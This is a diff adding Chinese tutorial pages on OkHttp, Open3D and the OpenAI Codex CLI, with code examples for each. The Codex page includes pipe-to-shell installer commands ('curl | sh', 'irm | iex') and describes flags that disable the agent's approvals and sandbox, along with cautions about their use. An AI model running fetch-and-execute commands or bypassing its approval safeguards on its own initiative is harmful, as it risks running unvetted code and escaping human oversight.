+| **Interceptor 列表** | 应用层 / 网络层拦截器链 | + +用 `client.newBuilder()` 可以基于共享实例派生「只改超时」的临时 client,**连接池仍然共享**: + +```kotlin +val quickClient = client.newBuilder() + .readTimeout(500, TimeUnit.MILLISECONDS) + .build() +``` + +### 3. Call:一次 HTTP 事务的句柄 + +`client.newCall(request)` 得到 `Call`,代表**尚未完成或正在进行**的一次请求。两种执行方式: + +- **同步**:`call.execute()` 阻塞当前线程直到响应或异常 +- **异步**:`call.enqueue(Callback)` 在 OkHttp 线程池回调 `onResponse` / `onFailure` + +`Call` 可 `cancel()`——用户离开页面时取消无用请求,避免浪费流量和回调崩溃。 + +### 4. 连接模型:URL → Address → Route → Connection + +OkHttp 内部用三层描述「怎么连上服务器」: + +1. **URL**:你写的 `https://api.example.com/v1/users` +2. **Address**:host + 端口 + TLS 配置 + 协议偏好(静态) +3. **Route**:DNS 得到的具体 IP、代理、TLS 版本(动态) + +同一 Address 的请求会尽量**复用 Connection**;HTTP/2 下多条请求可**共用一条 socket 多路复用**。连接空闲一段时间后从池中淘汰。理解这层有助于排查「为什么第一次慢、后面快」——第一次要 DNS + TCP + TLS,后面走池化连接。 + +### 5. Interceptor:请求/响应流水线 + +拦截器是 OkHttp 最强大的扩展点,像**快递分拣中心的关卡**:可以打日志、改 Header、加签名、重试、短路返回 Mock。 + +分两类: + +| 类型 | 注册方式 | 特点 | +|------|----------|------| +| **Application Interceptor** | `addInterceptor()` | 不关心重定向/重试中间态;缓存命中也会走;适合鉴权、业务日志 | +| **Network Interceptor** | `addNetworkInterceptor()` | 看到真实网络上的请求;可访问 `Connection`;重定向会多次触发 | + +链上每一环必须调用 `chain.proceed(request)` 把请求交给下一环;可以改 request、改 response,也可以不调用 `proceed` 直接返回伪造响应(测试常用)。 + +### 6. 默认自带的能力(不用你手写) + +- **HTTP/2** 与 **HTTP/1.1** 自动协商(ALPN) +- **透明 GZIP**:自动加 `Accept-Encoding: gzip` 并解压 +- **重定向跟随**(可 `followRedirects(false)` 关闭) +- **连接失败重试**(`retryOnConnectionFailure`,默认 true) +- **证书固定(Certificate Pinning)**、**CookieJar**、**代理**、**DNS 自定义** 均可配置 + +## 依赖与版本 + +Gradle Kotlin DSL(推荐 BOM 统一版本,2026 年主线 5.4.x): + +```kotlin +dependencies { + implementation(platform("com.squareup.okhttp3:okhttp-bom:5.4.0")) + implementation("com.squareup.okhttp3:okhttp") + implementation("com.squareup.okhttp3:logging-interceptor") // 可选:官方日志拦截器 + testImplementation("com.squareup.okhttp3:mockwebserver") // 可选:单元测试假服务器 +} +``` + +要求:**Android API 21+** 或 **Java 8+**。OkHttp 5 为 Kotlin Multiplatform 项目;Maven 用户需选 `okhttp-jvm` 或 `okhttp-android` 而非空的 `okhttp` 聚合坐标。 + +## 实践案例 + +### 案例 1:Kotlin 异步请求 + 日志拦截器 + +适合 Android Activity / ViewModel:不阻塞主线程。 + +```kotlin +import okhttp3.* +import okhttp3.logging.HttpLoggingInterceptor +import java.io.IOException + +class GitHubReposFetcher { + private val client = OkHttpClient.Builder() + .addInterceptor( + HttpLoggingInterceptor().apply { + level = HttpLoggingInterceptor.Level.BASIC + } + ) + .connectTimeout(10, TimeUnit.SECONDS) + .readTimeout(30, TimeUnit.SECONDS) + .build() + + fun fetchRepoJson(owner: String, repo: String, onResult: (String?) -> Unit) { + val request = Request.Builder() + .url("https://api.github.com/repos/$owner/$repo") + .header("Accept", "application/vnd.github+json") + .build() + + client.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) { + onResult(null) + } + + override fun onResponse(call: Call, response: Response) { + response.use { + if (!it.isSuccessful) { + onResult(null) + return + } + onResult(it.body?.string()) + } + } + }) + } +} +``` + +要点: + +- `enqueue` 回调在 OkHttp 线程池执行,更新 UI 需切回主线程 +- `response.use { }` 确保 body 和连接资源释放 +- `HttpLoggingInterceptor.Level.BODY` 会打印请求/响应体,生产环境慎用(泄露 Token) + +### 案例 2:自定义拦截器统一加 Authorization + MockWebServer 测试 + +业务上常见模式:Token 放在拦截器,API 层只关心 URL。 + +```kotlin +import okhttp3.Interceptor +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.mockwebserver.MockResponse +import okhttp3.mockwebserver.MockWebServer +import org.junit.jupiter.api.AfterEach +import org.junit.jupiter.api.Assertions.assertEquals +import org.junit.jupiter.api.BeforeEach +import org.junit.jupiter.api.Test + +class AuthInterceptor(private val tokenProvider: () -> String?) : Interceptor { + override fun intercept(chain: Interceptor.Chain): okhttp3.Response { + val original = chain.request() + val token = tokenProvider() ?: return chain.proceed(original) + + val authed = original.newBuilder() + .header("Authorization", "Bearer $token") + .build() + return chain.proceed(authed) + } +} + +class ApiClientTest { + private lateinit var server: MockWebServer + + @BeforeEach + fun setUp() { + server = MockWebServer() + server.start() + } + + @AfterEach + fun tearDown() { + server.shutdown() + } + + @Test + fun `interceptor adds bearer token`() { + server.enqueue(MockResponse().setBody("""{"ok":true}""")) + + var capturedAuth: String? = null + server.dispatcher = object : okhttp3.mockwebserver.Dispatcher() { + override fun dispatch(request: okhttp3.mockwebserver.RecordedRequest): MockResponse { + capturedAuth = request.getHeader("Authorization") + return MockResponse().setBody("ok") + } + } + + val client = OkHttpClient.Builder() + .addInterceptor(AuthInterceptor { "secret-token" }) + .build() + + val request = Request.Builder().url(server.url("/me")).build() + client.newCall(request).execute().close() + + assertEquals("Bearer secret-token", capturedAuth) + } +} +``` + +要点: + +- **MockWebServer** 在 JVM 测试里起真实 HTTP 监听端口,无需 Mockito 伪造 socket +- Application Interceptor 在重定向之前执行,适合加鉴权 Header +- 测试里 `execute()` 同步调用即可;Android Instrumentation 测试同样适用 + +### 案例 3:响应缓存(减少重复下载) + +```kotlin +val cacheSize = 10L * 1024 * 1024 // 10 MiB +val cache = Cache(File(System.getProperty("java.io.tmpdir"), "okhttp-cache"), cacheSize) + +val client = OkHttpClient.Builder() + .cache(cache) + .build() + +// 第一次:走网络;若服务端 Cache-Control 允许,第二次可能 304 或直接读磁盘 +val response1 = client.newCall(request).execute() +val response2 = client.newCall(request).execute() +// response2.cacheResponse 非 null 表示命中缓存 +``` + +缓存遵守 HTTP 语义(`Cache-Control`、`ETag`、`max-age`);强行缓存一切需自定义 `CacheInterceptor` 或只用离线场景。 + +## 同步 vs 异步怎么选 + +| 场景 | 建议 | +|------|------| +| Android 主线程 | **禁止** `execute()`,用 `enqueue` 或 Kotlin 协程(`okhttp3` 协程扩展 / Retrofit `suspend`) | +| JUnit 单元测试 | `execute()` 简单直接 | +| 命令行工具、批处理脚本 | `execute()` | +| 需要取消 | 保留 `Call` 引用,页面销毁时 `call.cancel()` | + +Kotlin 协程项目可加 `implementation("com.squareup.okhttp3:okhttp-coroutines")`,用 `suspend fun Call.await()` 风格包装。 + +## 常见坑与最佳实践 + +1. **不要每个请求 `new OkHttpClient()`**:浪费连接池和线程池;用单例或 DI 注入共享实例。 +2. **ResponseBody 只读一次**:在拦截器里若要「既打日志又给下游」,用 `peekBody` 或缓冲。 +3. **主线程网络**:`NetworkOnMainThreadException` 的根源;务必异步。 +4. **证书问题**:企业内网自签证书需自定义 `sslSocketFactory` / `TrustManager`;公网 App 优先考虑 **Certificate Pinning** 防中间人。 +5. **超时三层**:`connectTimeout`(建连)、`readTimeout`(等响应字节)、`writeTimeout`(发请求体);另有 `callTimeout` 限制整次 Call 总时长。 +6. **和 Retrofit 分工**:OkHttp 管传输;Retrofit 管 interface 映射和 JSON 转换。改网络行为找 OkHttp,改 API 形状找 Retrofit。 + +## 与相关技术的关系 + +```text +业务代码 + ↓ 调用 +Retrofit interface(可选) + ↓ 生成 Request,委托 +OkHttpClient → Call → ConnectionPool → Socket/TLS + ↓ +MockWebServer(测试) / 真实服务器 +``` + +- **[[retrofit]]**:在 OkHttp 之上加类型安全 API;换 JSON 库不必动 OkHttp +- **Okio**:OkHttp 依赖的高性能 I/O 库;`ResponseBody` 底层是 Okio `BufferedSource` +- **Cronet / URLSession**:平台原生栈的替代选型;OkHttp 优势在跨版本一致性与可测试性 + +## 学习路径建议 + +1. 用 `execute()` 写通同步 GET/POST,理解 `Request`/`Response` 生命周期 +2. 改成 `enqueue()` 或协程,理解线程与取消 +3. 加一个 `HttpLoggingInterceptor`,观察真实 Header 与 HTTP/2 +4. 写自定义 `Interceptor` 做鉴权或公共参数 +5. 用 MockWebServer 为网络层写单元测试 +6. 需要声明式 REST 时再上 Retrofit,并复用同一个 `OkHttpClient` + +## 官方资源 + +- 文档:https://square.github.io/okhttp/ +- 食谱(Recipes):同步/异步、缓存、超时、认证等可复制示例 +- 仓库:https://github.com/square/okhttp +- 变更日志:关注 5.x 的 KMP 与 Java Module(`module-info`)说明 + +## 小结 + +OkHttp 是 JVM/Android 世界的**高效 HTTP 传输引擎**:连接池、HTTP/2、拦截器链、韧性重试都是默认或一等公民。零基础记住三句话——**共享一个 OkHttpClient**、**Request/Response 用 Builder 且 body 只读一次**、**扩展能力写在 Interceptor 里**。掌握它之后,无论是手写 REST、接 Retrofit,还是写可靠的网络测试,都有同一套扎实底座。 diff --git a/src/content/docs/projects/open3d.md b/src/content/docs/projects/open3d.md new file mode 100644 index 000000000..f6a6e7747 --- /dev/null +++ b/src/content/docs/projects/open3d.md @@ -0,0 +1,316 @@ +--- +title: Open3D — 现代点云与几何处理库 +description: C++ 内核 + Python 一等接口,点云/网格读写、体素下采样、法线估计、RANSAC 平面分割与 ICP 配准,激光雷达与 SLAM 工程默认工具 +来源: 'https://github.com/isl-org/Open3D' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +难度: 初级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Open3D** 是 Intel Visual Computing Lab 发起、现由社区维护的**开源 3D 数据处理库**:C++ 实现核心算法,**Python 绑定是一等公民**,同时覆盖点云(Point Cloud)、三角网格(Triangle Mesh)、体素网格(Voxel Grid)、RGB-D 图像与相机轨迹。源码托管于 [isl-org/Open3D](https://github.com/isl-org/Open3D),采用 **MIT** 许可,GitHub star 约 12k+,在激光雷达、机器人 SLAM、三维重建与 NeRF 数据预处理管线里几乎是「默认选项」。 + +日常类比:如果把三维场景想成一座**用沙子堆成的微缩城市**,Open3D 就是一套**城市测绘与修整工具箱**—— + +- **点云**是城市里每一粒沙子的 GPS 坐标(可能还带颜色、强度); +- **三角网格**是把沙子凝固成带墙面的建筑外壳; +- **体素下采样**像用粗筛子把过于密集的沙子合并成「街区级」分辨率; +- **ICP 配准**是两份不同时刻拍的城市沙盘对齐叠合——先粗对齐,再逐粒沙子找最近邻微调。 + +最小 Python 入口: + +```python +import open3d as o3d + +pcd = o3d.io.read_point_cloud("room.ply") +print(pcd) # PointCloud with 12345 points. +o3d.visualization.draw_geometries([pcd]) +``` + +与 [[assimp]] 的分工:Assimp 擅长**读入带材质/骨骼的 3D 模型文件**;Open3D 擅长**几何算法与传感器数据**(PLY/PCD/XYZ、深度图融合、点云配准)。二者常在管线里串联——Assimp 导入 OBJ 转 mesh,Open3D 做 mesh 采样成点云再跑算法。 + +## 为什么重要 + +零基础接触 3D 感知或重建,绕不开 Open3D 的几个现实理由: + +- **Python 生态最顺手的 3D 几何库**:比 [[pcl]] 的 C++ 模板与编译依赖友好得多,`pip install open3d` 即可在 Jupyter 里交互可视化 +- **算法覆盖面广**:下采样、法线、聚类(DBSCAN)、平面/球面 RANSAC、Poisson 重建、ICP / Colored ICP、TSDF 融合——教程与论文复现默认用它 +- **双 API 并存**:经典 `o3d.geometry.*` 与基于 Tensor 的 `o3d.t.*`(GPU 加速、多尺度 ICP、鲁棒核)——新项目应优先查 Tensor 文档 +- **与深度学习衔接**:点云可转 `numpy` / `torch`;与 [[pytorch]] 3D 扩展(如 PyTorch3D)配合时,Open3D 常负责 I/O 与经典几何前处理 +- **内置可视化**:`draw_geometries` 或 `draw_plotly` 快速肉眼检查,不必先搭 [[blender]] 或 [[three-js]] + +## 核心要点 + +Open3D 的心脏可以按「数据类型 → 处理管线 → 输出」理解。 + +### 1. 三种核心几何类型 + +| 类型 | Python 类 | 典型用途 | +| --- | --- | --- | +| 点云 `PointCloud` | `o3d.geometry.PointCloud` | LiDAR、RGB-D 反投影、SfM 稀疏点 | +| 三角网格 `TriangleMesh` | `o3d.geometry.TriangleMesh` | 表面重建、碰撞体、纹理烘焙 | +| 体素 `VoxelGrid` | `o3d.geometry.VoxelGrid` | 占用栅格、粗碰撞检测 | + +点云内部存 `points`(N×3)、可选 `colors`(N×3,0–1 浮点)、`normals`(N×3)。与 PCL 的 `pcl::PointCloud` 类似,但 API 更扁平。 + +### 2. 文件 I/O + +`o3d.io.read_point_cloud(path)` 按扩展名自动选解码器,支持 PLY、PCD、XYZ、PTS 等;`write_point_cloud` 对称导出。网格用 `read_triangle_mesh` / `write_triangle_mesh`(OBJ、STL、GLTF 等,具体列表见官方 File IO 文档)。 + +内置示例数据(无需自备文件): + +```python +dataset = o3d.data.PLYPointCloud() +pcd = o3d.io.read_point_cloud(dataset.path) +``` + +### 3. 可视化 + +- `o3d.visualization.draw_geometries([geom, ...])` — 本地 OpenGL 窗口,鼠标旋转缩放 +- `o3d.visualization.draw_plotly([...])` — 浏览器内交互,适合 Notebook +- 按键 `N` 可切换法线显示(需先 `estimate_normals`) + +### 4. 点云下采样与法线 + +**体素下采样**(Voxel Downsample):把落入同一立方体网格的点合并为一个代表点,是几乎所有点云管线的第一步——降点数、去噪、加速后续 KD-Tree 查询。 + +**法线估计**:对每点找邻域,协方差分析得主方向;平面分割、Point-to-Plane ICP 都依赖法线。 + +```python +down = pcd.voxel_down_sample(voxel_size=0.05) +down.estimate_normals( + search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.1, max_nn=30) +) +``` + +### 5. 平面分割(RANSAC) + +`segment_plane(distance_threshold, ransac_n, num_iterations)` 随机采样最小点集拟合平面 \(ax+by+cz+d=0\),返回平面参数与**内点索引**。室内场景里墙/地/桌面检测的经典做法。 + +### 6. 配准(ICP) + +**ICP**(Iterative Closest Point):给定源点云与目标点云及粗初始位姿,迭代求 4×4 刚体变换使对应点距离最小。变体包括 Point-to-Point、Point-to-Plane、Colored ICP(利用颜色)、多尺度 ICP(先粗后细)。 + +Tensor API 示例形态: + +```python +import open3d as o3d + +result = o3d.pipelines.registration.registration_icp( + source, target, max_correspondence_distance=0.02, + init=np.eye(4), + estimation_method=o3d.pipelines.registration.TransformationEstimationPointToPlane(), +) +print(result.transformation, result.fitness) +``` + +新版 `o3d.t.pipelines.registration.icp` 支持 GPU、鲁棒核(Huber/Tukey)与 float64,适合大规模实时配准。 + +### 7. 经典 API vs Tensor API + +| 维度 | `o3d.geometry` | `o3d.t.geometry` | +| --- | --- | --- | +| 后端 | CPU,numpy 友好 | `o3d.core.Tensor`,可 CUDA | +| 学习曲线 | 教程多,入门默认 | 新特性优先落地处 | +| 互转 | `o3d.t.geometry.PointCloud.from_legacy(pcd)` | `to_legacy()` 回退 | + +零基础先熟练 `geometry`;性能瓶颈或需要 Colored ICP / 多尺度时再迁 Tensor。 + +### 8. 与 PCL 的对比 + +[[pcl]] 是学术界「算法全集」,模块细、C++ 原生;Open3D **文档与 Python 体验更好**,可视化开箱即用,近年 Tensor 与重建管线更新更活跃。工业界新项目偏 Open3D;遗留 ROS 节点或论文代码仍常见 PCL。 + +## 实践案例 + +### 案例 1:读取 → 下采样 → 估法线 → 平面分割 + +完整室内点云预处理闭环(假设已有 `scan.ply`): + +```python +import open3d as o3d +import numpy as np + +pcd = o3d.io.read_point_cloud("scan.ply") +print(f"raw points: {np.asarray(pcd.points).shape[0]}") + +# 1) 体素下采样 +pcd = pcd.voxel_down_sample(voxel_size=0.02) + +# 2) 统计离群点剔除(可选) +pcd, _ = pcd.remove_statistical_outlier(nb_neighbors=20, std_ratio=2.0) + +# 3) 法线 +pcd.estimate_normals( + search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.05, max_nn=30) +) + +# 4) RANSAC 拟合最大平面(常为地面) +plane_model, inliers = pcd.segment_plane( + distance_threshold=0.01, + ransac_n=3, + num_iterations=1000, +) +[a, b, c, d] = plane_model +print(f"plane: {a:.3f}x + {b:.3f}y + {c:.3f}z + {d:.3f} = 0") +print(f"inliers: {len(inliers)}") + +inlier_cloud = pcd.select_by_index(inliers) +outlier_cloud = pcd.select_by_index(inliers, invert=True) + +o3d.visualization.draw_geometries( + [inlier_cloud.paint_uniform_color([1, 0, 0]), + outlier_cloud.paint_uniform_color([0.6, 0.6, 0.6])] +) +``` + +`paint_uniform_color` 给点云临时上色便于区分;`select_by_index` 按索引拆子集。 + +### 案例 2:两帧点云 ICP 配准 + +模拟「第二帧扫描」:复制点云并施加已知变换,再用 ICP 找回: + +```python +import copy +import numpy as np +import open3d as o3d + +source = o3d.io.read_point_cloud("frame0.pcd") +target = copy.deepcopy(source) + +# 人为错位:绕 Z 转 15°,平移 (0.1, 0.05, 0) +theta = np.deg2rad(15) +c, s = np.cos(theta), np.sin(theta) +T_gt = np.eye(4) +T_gt[:3, :3] = [[c, -s, 0], [s, c, 0], [0, 0, 1]] +T_gt[:3, 3] = [0.1, 0.05, 0] +target.transform(T_gt) + +source_down = source.voxel_down_sample(0.05) +target_down = target.voxel_down_sample(0.05) +source_down.estimate_normals( + search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.1, max_nn=30)) +target_down.estimate_normals( + search_param=o3d.geometry.KDTreeSearchParamHybrid(radius=0.1, max_nn=30)) + +reg = o3d.pipelines.registration.registration_icp( + source_down, target_down, + max_correspondence_distance=0.08, + init=np.eye(4), + estimation_method=o3d.pipelines.registration.TransformationEstimationPointToPlane(), + criteria=o3d.pipelines.registration.ICPConvergenceCriteria(max_iteration=50), +) + +print("ground truth:\n", T_gt) +print("estimated:\n", reg.transformation) +print("fitness:", reg.fitness, "rmse:", reg.inlier_rmse) + +source.paint_uniform_color([1, 0.7, 0]) +target.paint_uniform_color([0, 0.65, 1]) +source.transform(reg.transformation) +o3d.visualization.draw_geometries([source, target]) +``` + +`fitness` 表示内点比例,`inlier_rmse` 是配准残差——调 `max_correspondence_distance` 与 `voxel_size` 是 ICP 调参核心。 + +### 案例 3:网格采样为点云并估计包围盒 + +从三角网格均匀采样点,用于碰撞检测或神经网络输入: + +```python +import open3d as o3d + +mesh = o3d.io.read_triangle_mesh("bunny.obj") +mesh.compute_vertex_normals() + +pcd = mesh.sample_points_uniformly(number_of_points=100_000) +aabb = pcd.get_axis_aligned_bounding_box() +obb = pcd.get_oriented_bounding_box() + +print("AABB extent:", aabb.get_extent()) +o3d.visualization.draw_geometries([pcd, obb]) +``` + +`sample_points_poisson_disk` 可得更均匀分布;`compute_convex_hull` 从点云算凸包网格。 + +## 安装与环境 + +```bash +# CPU 版(多数笔记本足够) +pip install open3d + +# 验证 +python -c "import open3d as o3d; print(o3d.__version__)" +``` + +Conda、Docker 与从源码编译(CUDA 模块)见 [Open3D 官方构建文档](http://www.open3d.org/docs/release/getting_started.html)。Apple Silicon 请装与 Python 版本匹配的 wheel;过旧 Python(3.6)已不再支持。 + +## 踩过的坑 + +1. **坐标系不一致**:相机光学系(Z 向前)与机器人 base_link(Z 向上)不同,多传感器融合前必须统一变换矩阵。 + +2. **忘记下采样就跑 ICP**:百万点全分辨率 ICP 极慢且易陷局部最优;先 `voxel_down_sample` 再配准是惯例。 + +3. **法线方向混乱**:`orient_normals_consistent_tangent_plane` 或朝向相机位置 `orient_normals_towards_camera_location` 可避免 Point-to-Plane ICP 发散。 + +4. **颜色通道范围**:`colors` 期望 0–1 浮点;把 0–255 uint8 直接赋值会导致可视化全白或全黑。 + +5. **`geometry` 与 `t.geometry` 混用**:Tensor 点云不能直接与 legacy API 的某些函数混调,先 `to_legacy()` 或统一迁 Tensor。 + +6. **与 [[draco]] / [[gltf-transform]] 的职责**:Draco 压缩传输;Open3D 不替代 glTF 资产优化,但可读部分 glTF 网格做点云采样。 + +7. **无头服务器可视化**:`draw_geometries` 需要显示环境;服务器上用 `o3d.io.write_image` 离屏渲染或导出 PLY 到本地查看。 + +## 适用 vs 不适用场景 + +**适用**: + +- LiDAR / RGB-D 点云预处理、标注前可视化 +- 多帧扫描配准、粗重建与 TSDF 融合教学 +- 从 mesh 采样点云喂给深度学习 +- 快速验证 RANSAC、聚类、包围盒等几何算法 + +**不适用**: + +- 游戏运行时渲染(用 [[godot]] / [[filament]] 等) +- 复杂带骨骼动画的模型管线(用 [[assimp]] + DCC) +- 生产级 CAD 建模(用 [[freecad]] / 商业 CAD) +- 仅需 2D 图像处理(用 [[opencv]]) + +## 历史小故事(可跳过) + +- **2018**:Open3D 0.1 发布,Intel VCL 与 CMU 等联合推动「3D 数据处理像 OpenCV 一样好用」 +- **2020s**:Tensor 模块、GPU 加速、RGB-D SLAM 与重建管线持续扩展;Python 3.10+ 支持,3.6 退役 +- **社区**:除 GitHub 本体外,[Open3D-ML](https://github.com/isl-org/Open3D-ML) 提供 PointNet++ 等分割/检测示例 +- **许可**:MIT,可嵌入商业机器人与测绘产品 + +## 学到什么 + +1. **Open3D 的价值是「几何算法 + Python 可视化」一体**,不是通用 3D 引擎 +2. **点云管线几乎总是:I/O → 下采样 → 去离群 → 法线 → 具体任务(分割/配准/重建)** +3. **ICP 质量取决于初始位姿、体素尺度与 `max_correspondence_distance` 三者的配合** +4. **新特性在 Tensor API**;legacy `geometry` 仍适合教程与脚本原型 +5. **与 Assimp/PCL/Blender 各管一段**,串成完整 3D 数据流水线 + +## 延伸阅读 + +- 官方文档:[Open3D 0.19+ documentation](http://www.open3d.org/docs/release/) +- 点云入门教程:[Point cloud](http://www.open3d.org/docs/release/tutorial/geometry/pointcloud.html) +- ICP 教程:[ICP registration](http://www.open3d.org/docs/release/tutorial/t_pipelines/t_icp_registration.html) +- Tensor 点云:[Tensor-based point cloud](http://www.open3d.org/docs/release/tutorial/t_geometry/pointcloud.html) + +## 关联 + +- [[pcl]] —— 学术点云算法全集,C++ 原生,与 Open3D 功能重叠但生态不同 +- [[assimp]] —— 多格式 3D 模型导入,可导出 mesh 再交 Open3D 采样 +- [[draco]] —— 网格/点云压缩,传输层与 Open3D 几何处理互补 +- [[gltf-transform]] —— glTF 资产优化,与 Open3D 网格 I/O 可串联 +- [[opencv]] —— RGB-D 深度图预处理、相机标定常与 Open3D 点云生成配合 +- [[pytorch]] —— 点云深度学习训练;Open3D 常做数据前处理 +- [[blender]] —— 高质量渲染与手工编辑;Open3D 做算法验证与批处理 + +## 反向链接 + + diff --git a/src/content/docs/projects/openai-codex-cli.md b/src/content/docs/projects/openai-codex-cli.md new file mode 100644 index 000000000..7a2d6a16e --- /dev/null +++ b/src/content/docs/projects/openai-codex-cli.md @@ -0,0 +1,245 @@ +--- +title: OpenAI Codex CLI — 终端里的本地编程代理 +来源: 'OpenAI, "Codex CLI", https://developers.openai.com/codex/cli' +日期: 2026-06-13 +分类: CLI +子分类: 命令行工具 +provenance: pipeline-v3 +--- + +## 是什么 + +OpenAI Codex CLI 是 OpenAI 开源的**本地编程代理**:你在终端里用自然语言描述任务,它会在当前目录里读代码、改文件、跑命令,直到认为任务完成。实现语言是 Rust,主打启动快、占用低。 + +日常类比: + +> 你雇了一位**坐在你电脑旁边的初级工程师**。 +> 你说「给登录接口加单元测试」,他会自己打开项目、翻文件、写测试、跑 `npm test`,每改一步都先问你「我可以执行这条命令吗?」——除非你明确放权。 +> 和 ChatGPT 网页版最大的区别是:**手长在本地文件系统和 shell 上**,不是只吐一段代码让你自己粘贴。 + +Codex 家族其实有三张脸,别混: + +| 形态 | 入口 | 适合谁 | +|------|------|--------| +| **Codex CLI** | 终端 `codex` | 想在现有工作流里用代理、要脚本化/CI | +| **Codex App** | 桌面应用 `codex app` | 喜欢图形界面、多项目切换 | +| **Codex Cloud** | 浏览器 / `codex cloud` | 任务丢到云端环境,本地 `codex apply` 拉 diff | + +本篇只聚焦 **CLI**。 + +## 为什么重要 + +2025 年起,「AI 写代码」从聊天框迁到了**代理(agent)**范式:模型不只要生成文本,还要**规划 → 调工具 → 看结果 → 再规划**。Codex CLI 是 OpenAI 在这条线上的官方终端产品,和 Cursor Agent、Claude Code、Gemini CLI 同一赛道。 + +值得学它的原因: + +- **订阅即用**:ChatGPT Plus / Pro / Business 等计划已包含 Codex 额度,不必单独买 API(也可用 API Key,但部分云功能受限) +- **沙箱 + 审批**:默认限制 shell 权限,比「模型随便跑 `rm -rf`」安全一个数量级 +- **`codex exec` 可脚本化**:能塞进 CI、pre-commit、内部运维流水线 +- **MCP 生态**:通过 Model Context Protocol 接数据库、浏览器、文档站,扩展上下文边界 +- **开源可审计**:仓库在 [github.com/openai/codex](https://github.com/openai/codex),行为比黑盒插件好排查 + +## 安装与首次登录 + +支持 macOS、Linux、Windows(Windows 可用原生沙箱或 WSL2)。 + +**一行安装(macOS / Linux):** + +```bash +curl -fsSL https://chatgpt.com/codex/install.sh | sh +``` + +**Windows(PowerShell):** + +```powershell +powershell -ExecutionPolicy ByPass -c "irm https://chatgpt.com/codex/install.ps1 | iex" +``` + +也可用包管理器: + +```bash +npm install -g @openai/codex +# 或 macOS +brew install --cask codex +``` + +装好后: + +```bash +codex --version +codex login # 浏览器 OAuth 登录 ChatGPT,或 API Key +codex login status # 退出码 0 = 已登录,适合脚本探测 +``` + +无交互安装(CI 装二进制)可设 `CODEX_NON_INTERACTIVE=1`。 + +## 核心概念 + +### 1. 交互式 TUI vs 非交互 `exec` + +- **`codex`**:全屏终端 UI(TUI),适合探索性开发——你能实时看到它读了哪些文件、拟执行什么命令,并逐条批准。 +- **`codex exec`**(别名 `codex e`):**无人值守**模式,适合脚本和流水线;结束后把最终说明打到 stdout,可加 `--json` 输出事件流。 + +### 2. 沙箱(sandbox)三档 + +模型生成的 shell 命令会经过 OS 级沙箱(macOS Seatbelt、Linux Landlock+seccomp、Windows 受限令牌): + +| 模式 | 含义 | +|------|------| +| `read-only` | 只能读,不能写文件、不能联网(默认偏保守) | +| `workspace-write` | 可在工作区写文件,网络仍受限;**日常本地开发推荐** | +| `danger-full-access` | 几乎不设限,仅应在容器/VM 里用 | + +本地顺手组合: + +```bash +codex --sandbox workspace-write --ask-for-approval on-request +``` + +### 3. 审批(approval) + +`--ask-for-approval` 控制何时暂停等人点头: + +- `on-request`:交互式默认,有风险操作才问 +- `never`:给 `exec` / CI 用,必须配合严格沙箱 +- `untrusted`:更谨慎 + +切忌在生产机上随便加 `--yolo`(`--dangerously-bypass-approvals-and-sandbox`)。 + +### 4. 配置:`~/.codex/config.toml` + +持久默认值写 TOML,命令行 `-c key=value` 可单次覆盖。常见项: + +- 模型与推理强度(会话内也可用 `/model` 切换) +- `sandbox_mode` +- MCP 服务器列表 +- **profiles**:`~/.codex/.config.toml` 叠加载入,用 `-p ` 切换「工作 / 开源 / 客户项目」配置 + +### 5. 会话:resume / fork + +Codex 在本地保存 transcript。`codex resume` 接着上次聊,`codex fork` 从旧会话分叉新线程——长任务改需求时很有用,不必重讲一遍仓库结构。 + +### 6. MCP(Model Context Protocol) + +`codex mcp add` 注册外部工具(stdio 子进程或 HTTP 服务)。Codex 也能**反向**当 MCP 服务器:`codex mcp-server`,让别的代理把 Codex 当工具调用。 + +### 7. 项目指令:AGENTS.md + +在仓库根放 `AGENTS.md`(概念同 Cursor 的 rules),写清构建命令、测试约定、目录结构。Codex 会把它当**长期上下文**,减少「跑错包管理器」类低级错误。 + +## 实践案例 + +### 案例 1:交互式修一个 failing test + +```bash +cd ~/projects/my-api +codex --sandbox workspace-write --ask-for-approval on-request \ + "tests/user.test.ts 里 'returns 404 for missing user' 失败了。先读测试和实现,修到 npm test 全绿,不要改公开 API。" +``` + +典型流程: + +1. Codex 用内置工具读文件、搜符号 +2. 提议修改 `src/routes/user.ts`,问你批准 +3. 提议运行 `npm test -- user.test.ts`,你确认 +4. 全绿后总结 diff + +TUI 里可用 `/model` 换模型或调 reasoning;贴截图用 `-i screenshot.png`。 + +### 案例 2:CI 里用 `codex exec` 做自动修复草稿 + +在 GitHub Actions 或自建 runner 上(务必隔离 runner): + +```bash +#!/usr/bin/env bash +set -euo pipefail + +export CODEX_API_KEY="${OPENAI_API_KEY}" # 若用 API Key 登录 + +codex exec \ + --sandbox workspace-write \ + --ask-for-approval never \ + --ephemeral \ + --output-last-message /tmp/codex-summary.txt \ + --json \ + "Read the lint errors from 'npm run lint 2>&1' output below and apply minimal fixes only. Do not change behavior. + +$(npm run lint 2>&1 || true)" +``` + +说明: + +- `--ephemeral`:不落盘 session 文件,适合一次性 CI job +- `--json`:机器可读事件,便于日志采集 +- `--output-last-message`:最后一句话写入文件,方便 PR 评论机器人读取 +- 管道内容:`echo "..." | codex exec "Summarize"` 时,stdin 会附在 prompt 后面 + +更稳妥的做法是**只让 Codex 生成 patch**,由人来 `git apply`,而不是 `never` 审批全自动合并。 + +### 案例 3:注册 MCP 服务器(Playwright 举例) + +```bash +# 假设已配置好 @playwright/mcp +codex mcp add playwright -- npx -y @playwright/mcp@latest + +codex mcp list +``` + +之后在 TUI 里可以让 Codex「打开本地 dev server 并点一遍结账流程」,浏览器操作走 MCP,而不是瞎编 DOM。 + +### 案例 4:连接 Codex Cloud 任务 + +```bash +codex cloud list --json +codex apply # 把云端生成的 diff 应用到当前 git 工作区 +``` + +适合:笔记本上发起任务,台式机拉结果;或 PR 里 `@codex` 触发云任务后再本地落地。 + +## 常用命令速查 + +```bash +codex # 交互 TUI +codex -C /path/to/repo "prompt" # 指定工作目录 +codex resume --last # 继续当前目录最近一次会话 +codex exec "..." # 非交互 +codex review # 本地代码审查(独立代理) +codex doctor # 安装/配置/鉴权自检 +codex completion zsh # 生成 shell 补全 +codex update # 自更新(release 构建) +codex features list # 查看 feature flag +``` + +## 